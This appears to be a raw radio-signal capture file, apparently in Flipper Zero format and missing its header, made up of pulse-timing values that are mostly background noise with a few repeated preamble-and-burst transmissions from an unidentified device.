53 -551 75 -855 192 -154 164 -74 128 -86 79 -149 79 -245 184 -56 111 -126 138 -86 65 -286 97 -575 107 -222 164 -445 53 -321 115 -162 59 -150 88 -60 61 -98 110 -82 51 -258 205 -96 53 -90 73 -68 97 -830 93 -189 98 -88 61 -64 61 -255 61 -491 57 -274 85 -128 67 -281 133 -62 112 -424 53 -338 71 -545 53 -100 112 -377 241 -94 63 -337 230 -219 79 -188 53 -588 61 -262 69 -396 83 -230 81 -52 148 -142 79 -292 115 -70 71 -148 93 -62 53 -74 87 -178 57 -248 61 -74 59 -224 81 -293 109 -110 81 -382 61 -153 223 -253 104 -866 61 -324 73 -347 59 -106 186 -433 53 -221 146 -226 81 -306 124 -82 215 -152 111 -552 51 -82 61 -519 77 -1689 105 -419 67 -90 81 -161 100 -68 95 -110 73 -167 61 -96 97 -98 65 -222 83 -151 61 -218 67 -365 81 -62 53 -188 61 -115 53 -72 80 -1082 121 -154 61 -494 63 -90 77 -1174 69 -363 51 -249 85 -317 75 -135 67 -389 59 -560 106 -188 104 -269 53 -229 53 -945 81 -52 53 -80 61 -62 51 -148 109 -122 151 -84 53 -945 65 -56 80 -429 106 -122 85 -840 65 -160 53 -126 95 -591 83 -110 -RAW_Data: 57 -76 89 -68 67 -173 51 -1049 59 -154 53 -252 69 -618 51 -152 59 -156 51 -168 69 -72 106 -433 159 -134 136 -236 111 -613 69 -153 53 -192 107 -90 53 -565 107 -84 119 -205 53 -281 65 -674 53 -181 89 -157 63 -313 61 -204 59 -192 98 -518 78 -152 51 -206 61 -108 109 -138 57 -78 89 -390 61 -144 172 -473 61 -582 101 -275 61 -198 147 -122 67 -54 69 -1083 79 -54 53 -302 53 -354 81 -524 69 -305 103 -52 59 -170 51 -464 57 -394 51 -427 70 -337 53 -162 87 -634 51 -74 61 -235 73 -84 55 -139 53 -312 53 -90 132 -164 53 -204 99 -126 51 -207 136 -166 127 -72 65 -286 91 -421 139 -393 81 -136 53 -72 51 -549 89 -236 152 -193 325 -52 53 -144 92 -234 92 -64 53 -126 53 -289 113 -491 61 -64 53 -82 94 -134 59 -275 83 -84 78 -494 63 -127 53 -296 179 -329 53 -231 71 -199 61 -54 51 -125 53 -98 63 -70 130 -149 113 -98 51 -112 51 -134 71 -54 53 -82 77 -80 73 -114 104 -347 69 -309 59 -114 51 -132 63 -640 174 -358 71 -72 282 -449 51 -935 168 -54 63 -58 51 -178 51 -265 53 -467 53 -117 53 -116 53 -174 111 -124 63 -160 128 -470 97 -100 87 -358 51 -98 51 -216 209 -108 81 -245 97 -135 53 -134 147 -369 110 -499 63 -60 65 -265 100 -713 53 -66 170 -246 138 -196 79 -240 67 -584 59 -417 63 -267 61 -328 61 -167 332 -385 207 -423 81 -76 81 -479 75 -216 61 -296 142 -247 75 -98 61 -76 98 -352 73 -122 81 -62 91 -124 157 -1368 57 -379 65 -198 53 -448 107 -247 61 -214 111 -152 51 -465 75 -259 61 -60 95 -144 81 -286 65 -616 90 -394 119 -220 111 -82 111 -96 53 -332 81 -207 111 -268 61 -859 116 -116 51 -198 57 -890 59 -301 115 -111 53 -490 79 -138 53 -170 51 -210 59 -110 65 -607 67 -221 51 -104 67 -236 51 -1316 81 -110 61 -1104 71 -214 69 -626 121 -62 59 -157 61 -74 142 -308 63 -128 51 -292 57 -166 105 -673 51 -354 71 -62 83 -274 79 -569 57 -107 163 -60 69 -409 51 -168 95 -290 51 -144 53 -108 177 -136 57 -515 85 -178 190 -228 96 -54 142 -160 142 -297 69 -475 61 -246 89 -116 121 -100 53 -860 53 -82 59 -85 65 -604 112 -58 184 -152 87 -72 97 -118 71 -627 71 -444 96 -82 53 -171 96 -134 67 -414 51 -118 109 -144 77 -1175 61 -975 71 -111 111 -189 65 -378 61 -350 81 -453 88 -92 53 -60 -RAW_Data: 65 -330 53 -144 59 -62 53 -329 137 -92 102 -648 61 -54 120 -174 71 -110 88 -132 85 -149 160 -54 83 -52 145 -60 69 -374 53 -130 134 -707 111 -62 255 -64 57 -64 53 -401 55 -78 88 -198 91 -168 93 -996 57 -483 57 -217 113 -124 110 -862 53 -154 61 -339 81 -639 59 -188 67 -200 53 -302 63 -649 123 -150 79 -64 71 -231 71 -276 91 -310 53 -634 71 -120 71 -893 103 -209 88 -103 61 -512 93 -142 141 -212 55 -72 51 -108 53 -99 155 -52 96 -54 125 -184 81 -194 59 -294 71 -64 67 -220 121 -54 114 -104 63 -99 89 -116 147 -250 103 -62 61 -519 77 -507 85 -118 69 -303 115 -155 75 -151 81 -456 81 -52 91 -697 53 -304 129 -84 63 -292 127 -68 53 -292 96 -207 63 -360 103 -107 93 -129 81 -377 99 -298 53 -380 53 -695 95 -100 107 -290 53 -365 99 -381 67 -496 53 -414 61 -94 51 -135 89 -425 59 -172 51 -170 65 -236 89 -222 71 -364 93 -54 51 -130 87 -182 71 -108 183 -96 57 -321 53 -159 81 -357 51 -1030 97 -60 73 -190 63 -72 88 -144 57 -120 109 -104 57 -66 65 -130 53 -145 103 -312 69 -1157 61 -435 53 -105 77 -372 75 -152 51 -133 51 -231 51 -347 51 -363 148 -250 69 -258 165 -80 109 -1140 118 -416 71 -264 97 -116 59 -318 105 -111 51 -126 124 -340 57 -157 97 -80 53 -128 75 -76 87 -201 79 -179 206 -350 55 -180 59 -54 129 -233 106 -617 65 -226 101 -52 87 -203 81 -285 116 -347 53 -269 108 -400 131 -163 53 -456 94 -167 51 -288 77 -364 110 -153 99 -176 61 -142 123 -165 88 -82 69 -158 53 -365 67 -561 175 -64 59 -336 149 -92 78 -261 249 -80 53 -224 98 -242 112 -125 53 -428 61 -261 95 -246 77 -136 59 -62 59 -152 69 -622 93 -373 104 -390 139 -130 61 -68 57 -68 85 -225 51 -544 59 -180 87 -412 59 -468 96 -363 51 -538 124 -108 61 -54 89 -374 59 -103 63 -250 85 -82 96 -120 59 -278 166 -157 139 -165 88 -144 61 -52 148 -194 135 -70 130 -138 51 -242 83 -68 69 -124 65 -92 63 -80 71 -214 53 -273 51 -335 71 -251 57 -192 59 -88 107 -932 73 -356 81 -869 93 -1538 100 -142 53 -399 103 -114 158 -293 75 -414 51 -52 92 -296 61 -132 51 -155 83 -218 63 -378 71 -211 75 -178 96 -99 97 -210 89 -372 67 -689 89 -282 51 -693 141 -311 53 -228 77 -80 206 -155 75 -64 83 -155 149 -150 53 -112 71 -495 -RAW_Data: 63 -138 118 -291 51 -303 201 -474 133 -320 109 -168 61 -114 115 -70 59 -56 59 -74 63 -88 107 -707 51 -114 73 -123 132 -98 67 -54 125 -421 71 -322 71 -135 57 -74 82 -195 69 -256 97 -350 69 -164 119 -190 95 -116 51 -255 71 -245 89 -383 103 -181 191 -404 51 -672 126 -70 107 -720 57 -149 65 -126 89 -189 69 -363 67 -513 75 -419 113 -146 81 -228 93 -1763 65 -461 115 -62 67 -122 96 -232 53 -275 117 -230 53 -194 79 -88 59 -650 143 -74 53 -92 53 -372 107 -298 124 -233 88 -457 51 -558 133 -182 81 -82 75 -86 53 -64 81 -140 97 -374 51 -74 59 -176 53 -258 55 -776 51 -741 55 -258 85 -292 61 -191 67 -52 61 -133 141 -134 63 -100 63 -60 99 -124 59 -137 105 -56 65 -98 57 -99 105 -82 218 -89 91 -118 175 -98 79 -197 113 -160 71 -240 79 -176 81 -66 162 -668 81 -848 86 -108 59 -96 53 -326 79 -96 79 -196 71 -430 61 -88 88 -106 65 -68 139 -242 95 -350 53 -54 99 -301 53 -238 65 -397 103 -168 123 -425 143 -82 163 -186 75 -223 57 -253 53 -480 77 -177 190 -130 261 -200 57 -114 59 -98 73 -74 135 -136 78 -336 59 -122 57 -814 63 -190 180 -64 99 -60 67 -476 79 -136 121 -72 74 -80 53 -299 63 -278 61 -351 61 -131 154 -200 124 -78 160 -425 63 -425 63 -117 132 -118 185 -161 59 -98 194 -696 79 -216 200 -168 67 -702 55 -182 93 -132 67 -165 139 -609 81 -136 63 -116 53 -365 59 -412 59 -60 77 -277 51 -217 139 -1112 67 -152 91 -89 53 -222 119 -1090 93 -62 59 -218 61 -181 53 -299 77 -72 88 -98 105 -114 81 -185 57 -110 75 -226 63 -158 114 -112 79 -74 103 -276 57 -176 98 -90 77 -91 117 -488 106 -82 73 -399 129 -227 51 -519 53 -52 69 -136 89 -840 71 -316 53 -60 95 -474 57 -277 53 -116 106 -224 158 -287 107 -270 133 -555 69 -196 122 -78 119 -138 67 -257 69 -412 96 -65 73 -88 87 -222 71 -90 53 -102 118 -118 51 -52 93 -162 57 -157 74 -292 53 -116 137 -258 65 -198 80 -437 61 -72 108 -430 59 -273 51 -84 51 -408 95 -568 53 -138 139 -345 73 -450 81 -222 127 -433 95 -82 59 -802 57 -191 112 -400 103 -127 124 -215 63 -80 63 -192 70 -162 53 -100 57 -144 114 -140 55 -162 53 -135 143 -70 81 -289 116 -564 53 -90 117 -230 53 -257 97 -542 103 -68 150 -140 77 -84 95 -543 63 -150 61 -437 -RAW_Data: 53 -102 89 -239 53 -140 105 -551 81 -293 100 -221 106 -78 190 -303 73 -135 162 -174 189 -274 125 -121 110 -84 61 -288 104 -632 87 -194 69 -452 75 -269 61 -294 77 -662 94 -172 79 -131 53 -232 59 -615 55 -351 192 -68 59 -64 86 -90 61 -369 81 -66 59 -275 65 -136 96 -313 71 -72 129 -104 55 -80 89 -198 57 -76 91 -90 51 -387 67 -56 79 -56 53 -176 160 -228 61 -134 78 -96 53 -54 73 -375 53 -345 125 -153 71 -97 61 -224 93 -198 71 -134 57 -76 107 -110 73 -206 97 -186 69 -142 136 -402 63 -180 148 -232 154 -285 79 -178 96 -680 63 -265 135 -134 61 -255 59 -82 69 -519 89 -220 53 -798 77 -159 96 -269 89 -235 57 -368 65 -418 97 -289 53 -80 59 -425 160 -168 96 -54 274 -124 149 -90 51 -535 135 -152 57 -108 69 -90 63 -637 53 -739 96 -709 53 -197 113 -74 57 -212 67 -152 53 -146 112 -552 110 -177 301 -160 77 -250 142 -98 81 -60 67 -369 77 -576 107 -220 57 -221 59 -531 61 -156 166 -121 67 -604 61 -194 59 -523 73 -641 53 -99 51 -173 113 -196 127 -458 57 -262 63 -86 85 -426 117 -246 57 -167 51 -951 77 -654 114 -141 65 -581 100 -609 63 -147 148 -203 53 -62 51 -107 63 -88 81 -78 61 -145 73 -132 67 -825 57 -244 93 -178 59 -76 51 -229 69 -72 154 -54 85 -134 51 -60 97 -152 59 -259 53 -152 125 -54 53 -225 109 -72 86 -62 55 -165 59 -168 59 -190 59 -62 59 -245 79 -252 97 -336 110 -293 71 -116 79 -90 77 -52 219 -118 179 -122 59 -172 115 -176 77 -72 67 -842 131 -68 97 -343 59 -123 53 -228 71 -125 63 -295 53 -285 101 -303 53 -326 111 -176 83 -239 109 -87 59 -983 72 -90 97 -68 102 -949 89 -444 82 -184 83 -240 85 -461 67 -261 151 -577 181 -220 89 -284 69 -101 79 -1109 71 -257 116 -54 59 -141 53 -163 119 -156 82 -197 53 -168 59 -60 53 -214 71 -689 51 -52 89 -143 89 -94 109 -301 53 -233 61 -82 53 -227 79 -117 61 -125 81 -60 59 -304 138 -80 51 -210 149 -90 53 -256 104 -181 59 -718 79 -113 53 -1204 59 -155 71 -359 137 -224 89 -474 89 -114 81 -197 95 -183 53 -528 122 -358 57 -220 51 -974 100 -607 85 -442 61 -371 51 -338 135 -153 59 -712 53 -114 77 -158 65 -1228 53 -206 57 -98 133 -116 85 -208 71 -160 89 -293 72 -687 71 -469 77 -184 83 -76 89 -98 53 -376 147 -324 -RAW_Data: 173 -237 69 -255 94 -70 53 -156 202 -52 53 -594 53 -204 87 -170 57 -56 69 -136 84 -189 85 -349 106 -132 181 -453 77 -128 123 -138 53 -436 79 -758 150 -308 87 -124 85 -145 81 -312 141 -120 53 -170 63 -214 124 -165 53 -910 89 -72 61 -72 61 -62 115 -189 181 -440 73 -265 55 -74 53 -320 109 -452 138 -233 89 -54 65 -220 53 -601 63 -610 68 -70 93 -221 96 -62 299 -288 75 -242 57 -367 63 -456 103 -220 53 -74 51 -212 55 -198 121 -94 106 -862 103 -163 102 -52 111 -107 65 -120 53 -325 124 -116 89 -139 97 -154 51 -187 179 -124 88 -90 57 -134 155 -700 53 -259 57 -220 53 -115 91 -388 76 -138 69 -391 65 -105 132 -349 53 -124 320 -116 67 -56 148 -430 79 -195 53 -542 96 -358 61 -132 51 -130 97 -153 61 -118 89 -98 80 -52 156 -94 164 -274 71 -260 107 -62 129 -671 69 -461 53 -116 71 -108 71 -166 53 -234 200 -90 105 -144 61 -428 81 -337 67 -177 71 -375 53 -226 81 -52 51 -279 53 -105 71 -60 165 -114 51 -459 53 -154 71 -244 71 -276 161 -216 69 -302 65 -798 63 -330 51 -271 93 -66 59 -206 77 -243 57 -268 87 -487 53 -359 85 -180 142 -322 89 -289 61 -68 133 -130 267 -433 53 -58 91 -88 76 -184 55 -578 114 -84 69 -134 139 -54 61 -266 97 -54 209 -143 61 -325 51 -106 71 -154 73 -425 57 -102 109 -227 67 -377 79 -371 77 -132 65 -208 73 -776 94 -86 51 -94 205 -613 121 -431 77 -86 53 -110 168 -210 61 -135 65 -335 59 -302 81 -165 61 -64 71 -133 53 -198 103 -138 101 -287 51 -304 53 -397 53 -400 87 -439 63 -193 63 -629 61 -295 99 -74 156 -336 59 -212 93 -902 88 -188 168 -548 53 -273 61 -945 147 -438 59 -74 109 -392 61 -372 61 -170 53 -180 71 -126 71 -256 65 -143 79 -118 97 -197 85 -1111 61 -252 143 -224 53 -190 65 -212 51 -163 116 -665 146 -251 165 -562 53 -102 78 -1081 55 -536 110 -86 291 -138 88 -890 106 -424 71 -565 59 -84 59 -283 180 -686 154 -166 69 -218 124 -108 63 -320 59 -322 53 -114 124 -1341 51 -112 75 -236 73 -202 83 -123 51 -498 81 -520 51 -60 53 -138 171 -507 124 -342 53 -126 75 -150 63 -445 83 -90 53 -1146 67 -187 69 -268 144 -331 85 -129 79 -78 53 -82 102 -120 73 -89 59 -297 73 -114 73 -54 105 -388 87 -130 71 -419 81 -263 81 -239 77 -86 83 -95 61 -691 73 -426 -RAW_Data: 88 -103 105 -176 59 -111 51 -264 211 -98 67 -167 91 -120 100 -128 53 -284 51 -248 108 -130 63 -72 96 -410 51 -126 119 -251 86 -1154 80 -325 65 -298 101 -52 53 -481 115 -80 71 -380 89 -86 93 -62 80 -76 51 -118 67 -620 53 -90 107 -1013 59 -56 85 -129 53 -124 87 -138 122 -468 53 -397 71 -856 134 -181 111 -897 81 -72 51 -217 51 -52 93 -273 51 -208 135 -72 142 -393 53 -122 65 -980 53 -175 107 -422 78 -264 97 -523 83 -547 59 -110 59 -74 241 -80 89 -367 51 -299 91 -82 79 -107 53 -756 97 -248 89 -140 84 -360 71 -254 53 -117 97 -366 59 -366 106 -98 97 -424 157 -352 110 -461 113 -74 80 -94 53 -82 67 -141 137 -1134 81 -549 157 -187 81 -222 133 -76 59 -327 67 -130 123 -112 61 -441 89 -82 103 -473 57 -82 84 -147 110 -337 73 -684 53 -160 133 -627 53 -97 125 -195 59 -154 53 -239 97 -80 85 -785 77 -506 89 -501 95 -754 63 -132 79 -414 68 -420 107 -60 89 -54 53 -113 117 -214 182 -1416 55 -337 74 -346 97 -344 146 -96 57 -442 88 -74 55 -535 83 -169 99 -119 811 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 201 -878 65 -78 57 -240 85 -56 53 -293 180 -108 103 -451 83 -379 63 -126 61 -848 95 -120 81 -755 59 -160 106 -194 67 -244 69 -615 89 -732 186 -133 141 -134 59 -446 89 -182 51 -309 95 -520 65 -138 59 -156 53 -254 53 -337 51 -162 122 -84 67 -366 69 -695 148 -448 82 -136 73 -292 83 -228 53 -124 104 -90 112 -552 71 -72 71 -54 59 -162 69 -185 57 -1258 61 -118 73 -118 51 -202 81 -144 89 -548 61 -94 89 -160 254 -144 63 -90 59 -565 53 -471 95 -434 81 -591 53 -54 107 -54 125 -299 75 -894 57 -1172 51 -106 65 -657 83 -137 69 -241 133 -99 95 -220 55 -185 165 -118 142 -52 132 -523 71 -463 78 -174 145 -64 111 -54 59 -286 79 -359 140 -278 67 -287 85 -159 51 -60 61 -228 89 -74 63 -72 95 -844 53 -162 51 -286 69 -66 81 -75 67 -764 51 -76 65 -387 65 -84 51 -68 175 -480 59 -909 53 -97 53 -278 71 -476 194 -189 194 -198 61 -954 141 -142 51 -62 53 -130 102 -703 53 -182 53 -152 101 -154 61 -105 106 -177 116 -416 159 -922 81 -267 117 -170 157 -202 89 -337 319 -280 59 -111 51 -298 218 -367 1131 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -126 127 -120 71 -54 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -128 127 -64 63 -62 63 -126 65 -62 127 -128 63 -62 -RAW_Data: 63 -62 127 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -56 69 -64 61 -64 61 -64 63 -64 63 -128 63 -62 127 -128 63 -64 125 -128 127 -128 55 -62 133 -128 127 -56 69 -64 61 -128 63 -64 61 -64 127 -64 61 -64 63 -126 63 -64 63 -62 127 -130 127 -118 71 -56 131 -66 61 -64 61 -64 61 -64 63 -128 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 127 -66 271 -255 53 -275 111 -827 101 -256 141 -367 59 -54 114 -482 88 -318 121 -830 125 -62 63 -90 137 -198 53 -409 61 -252 85 -307 53 -506 85 -52 75 -881 59 -90 61 -230 59 -134 53 -158 98 -107 150 -176 88 -128 61 -371 77 -448 153 -259 106 -216 61 -160 75 -141 53 -80 63 -126 92 -98 71 -102 59 -315 78 -462 61 -100 71 -99 71 -342 235 -82 71 -293 106 -66 96 -364 77 -72 57 -294 103 -296 59 -596 75 -104 83 -119 100 -268 97 -461 71 -589 79 -630 184 -92 81 -304 59 -559 89 -54 150 -384 79 -138 129 -151 59 -373 61 -149 114 -449 175 -62 75 -113 81 -58 142 -92 61 -338 51 -64 53 -395 65 -406 63 -557 105 -116 113 -187 83 -632 125 -353 53 -98 142 -54 71 -232 167 -612 71 -54 95 -72 57 -70 97 -173 222 -883 61 -195 53 -82 115 -224 61 -177 88 -361 81 -276 55 -88 63 -144 57 -176 170 -60 109 -180 87 -200 122 -97 127 -293 51 -252 111 -187 68 -459 51 -324 67 -359 79 -80 63 -755 59 -568 80 -335 65 -56 71 -78 53 -71 51 -60 148 -258 107 -134 107 -60 99 -254 59 -663 53 -197 127 -383 63 -64 99 -103 307 -229 122 -70 100 -442 71 -124 93 -243 75 -96 69 -248 82 -112 81 -114 140 -246 65 -54 73 -114 90 -120 75 -74 67 -217 89 -169 136 -98 57 -116 53 -279 93 -191 77 -121 51 -90 67 -185 146 -217 186 -89 71 -54 185 -214 147 -54 97 -316 89 -70 172 -52 53 -161 71 -90 141 -124 51 -337 67 -663 87 -58 159 -68 61 -164 109 -239 65 -72 65 -132 59 -106 100 -120 55 -62 71 -70 133 -133 111 -146 162 -199 89 -107 120 -233 53 -54 129 -76 153 -131 157 -104 202 -102 87 -72 65 -106 103 -52 59 -297 121 -104 53 -155 118 -194 61 -82 108 -156 217 -206 99 -72 202 -154 53 -203 59 -84 118 -72 87 -202 53 -179 81 -223 85 -158 123 -939 51 -54 -RAW_Data: 122 -869 59 -52 59 -502 51 -289 73 -58 53 -263 51 -82 101 -68 132 -419 53 -84 112 -375 71 -205 67 -210 84 -105 89 -455 59 -98 93 -142 85 -423 73 -104 105 -234 95 -168 53 -408 63 -601 51 -296 73 -546 116 -58 75 -142 53 -479 61 -166 117 -732 89 -394 169 -234 51 -614 92 -227 129 -52 71 -337 97 -217 71 -196 69 -261 53 -270 53 -757 83 -319 57 -166 67 -170 53 -444 61 -237 77 -58 61 -309 79 -150 88 -98 124 -351 88 -102 79 -270 147 -212 165 -144 136 -60 51 -186 65 -444 69 -100 59 -327 96 -54 111 -701 57 -89 67 -246 73 -192 223 -263 120 -187 103 -230 65 -370 135 -267 152 -506 211 -88 71 -875 81 -112 126 -163 57 -240 75 -154 57 -80 73 -120 81 -342 85 -72 82 -455 59 -613 122 -54 127 -214 69 -158 51 -286 71 -99 137 -172 109 -258 67 -100 128 -215 53 -54 57 -92 167 -701 202 -134 61 -90 65 -579 55 -82 59 -76 89 -406 55 -482 89 -152 100 -637 69 -357 51 -238 81 -96 59 -54 53 -196 219 -275 61 -602 69 -217 51 -477 75 -185 162 -790 51 -96 85 -166 55 -60 61 -62 59 -212 59 -249 59 -298 71 -273 113 -202 103 -78 98 -187 140 -72 53 -72 89 -179 282 -94 53 -254 59 -298 51 -117 53 -283 53 -68 91 -304 53 -204 105 -76 99 -68 105 -56 57 -78 77 -226 71 -94 57 -263 91 -84 69 -101 136 -233 79 -54 112 -56 59 -210 69 -200 106 -90 139 -224 110 -68 65 -264 172 -596 79 -82 97 -102 65 -131 87 -160 57 -108 93 -224 129 -119 53 -198 159 -260 67 -306 179 -280 340 -58 114 -72 97 -58 71 -131 63 -89 71 -68 334 -64 143 -106 356 -80 87 -60 188 -177 169 -78 205 -391 89 -75 57 -129 342 -74 98 -112 59 -197 410 -238 143 -199 53 -114 85 -92 116 -72 112 -108 196 -72 63 -97 119 -104 72 -106 109 -64 83 -133 95 -113 71 -68 63 -186 59 -56 97 -54 61 -72 89 -72 159 -60 57 -124 206 -159 255 -182 106 -54 196 -124 247 -188 93 -86 144 -130 151 -862 63 -80 126 -255 67 -1633 107 -546 106 -180 71 -158 57 -454 182 -64 67 -250 53 -203 65 -197 100 -687 79 -221 98 -68 67 -411 115 -72 107 -293 59 -223 67 -657 57 -208 57 -88 89 -402 80 -443 53 -111 75 -93 113 -70 154 -98 89 -606 63 -250 51 -374 87 -62 51 -168 85 -539 89 -501 115 -64 63 -427 121 -971 53 -588 61 -339 177 -60 59 -284 71 -172 -RAW_Data: 160 -329 51 -535 79 -629 59 -72 67 -247 71 -425 89 -334 53 -86 122 -156 53 -74 61 -62 53 -256 177 -92 102 -152 51 -108 99 -62 63 -90 219 -112 117 -417 106 -411 70 -278 175 -462 75 -284 108 -68 79 -726 71 -126 51 -176 86 -64 95 -218 158 -426 121 -152 65 -407 104 -293 63 -140 65 -443 65 -132 89 -90 75 -86 175 -74 71 -234 106 -100 134 -212 55 -122 51 -126 83 -212 179 -413 67 -164 113 -252 77 -247 107 -216 67 -1489 191 -370 51 -220 59 -96 127 -161 124 -801 59 -355 51 -168 88 -82 67 -76 99 -506 113 -66 1002 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 193 -288 53 -72 71 -573 148 -264 115 -134 51 -315 63 -131 91 -90 86 -80 79 -528 88 -922 -RAW_Data: 53 -90 196 -114 55 -74 61 -152 53 -243 63 -210 82 -52 53 -181 105 -234 89 -96 82 -194 51 -177 63 -589 51 -472 129 -163 99 -535 53 -211 67 -98 77 -284 85 -261 51 -209 191 -142 71 -64 59 -94 53 -248 75 -338 95 -134 89 -178 112 -551 79 -105 61 -220 244 -209 103 -84 59 -223 61 -896 140 -130 235 -144 51 -512 61 -552 63 -280 61 -521 70 -134 141 -149 97 -64 85 -72 95 -86 53 -106 75 -119 67 -174 86 -509 94 -561 89 -392 65 -96 103 -286 86 -323 177 -408 51 -442 99 -321 213 -165 152 -637 89 -293 80 -901 120 -98 61 -755 82 -372 51 -221 73 -605 51 -56 61 -187 59 -271 186 -80 61 -211 125 -795 99 -282 93 -295 83 -417 86 -333 53 -423 102 -343 75 -248 79 -595 51 -164 61 -72 164 -124 211 -450 51 -116 57 -56 65 -442 71 -171 98 -70 112 -315 97 -206 92 -232 98 -54 53 -162 53 -54 237 -200 1313 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 61 -128 127 -56 71 -126 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -118 135 -56 69 -126 127 -128 127 -120 63 -62 131 -66 61 -64 61 -64 63 -62 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -126 129 -56 69 -62 63 -62 63 -64 63 -62 63 -128 63 -64 127 -128 63 -62 125 -128 127 -128 63 -62 125 -130 127 -56 69 -62 61 -128 63 -64 63 -62 127 -64 63 -64 61 -128 63 -64 61 -64 127 -128 127 -128 63 -62 125 -64 63 -62 63 -62 63 -64 63 -128 63 -64 125 -64 63 -126 65 -62 127 -128 63 -62 125 -64 257 -147 51 -135 75 -317 51 -366 65 -336 150 -273 67 -409 140 -160 63 -544 51 -452 119 -366 135 -517 79 -196 96 -91 51 -723 88 -204 89 -141 -RAW_Data: 80 -167 105 -326 166 -76 101 -364 99 -60 51 -428 97 -132 61 -126 264 -157 71 -136 115 -267 87 -342 152 -487 97 -60 63 -284 74 -344 51 -504 55 -60 59 -181 53 -62 93 -126 67 -60 67 -500 138 -90 79 -159 71 -257 51 -194 102 -207 61 -64 106 -560 69 -210 89 -244 204 